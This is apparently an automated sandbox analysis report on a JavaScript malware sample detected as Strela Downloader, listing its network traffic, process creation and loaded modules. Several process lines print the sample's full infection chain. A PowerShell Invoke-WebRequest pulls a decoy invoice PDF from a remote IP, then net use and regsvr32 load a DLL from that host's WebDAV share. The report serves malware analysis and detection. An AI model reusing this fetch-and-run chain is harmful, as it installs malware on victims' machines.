HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1793214684.000001F0E45EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1861686829.0000022A09888000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1861686829.0000022A09888000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/a
Source: net.exe, 00000006.00000002.1861765352.0000022A098BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1859360614.0000022A098BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/vg09
Source: 77EC63BDA74BD0D0E0426DC8F8008506.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1861234578.0000025570AC8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1861234578.0000025570AC8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1861234578.0000025570AC8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1861234578.0000025570AFD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1861234578.0000025570B72000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1861234578.0000025570B72000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1861234578.0000025570B72000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7676, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 49441311255025245.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7732:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tbnfiqvn.4qn.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\49441311255025245.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1604,i,11243734406155330443,17094028111628165151,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1604,i,11243734406155330443,17094028111628165151,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
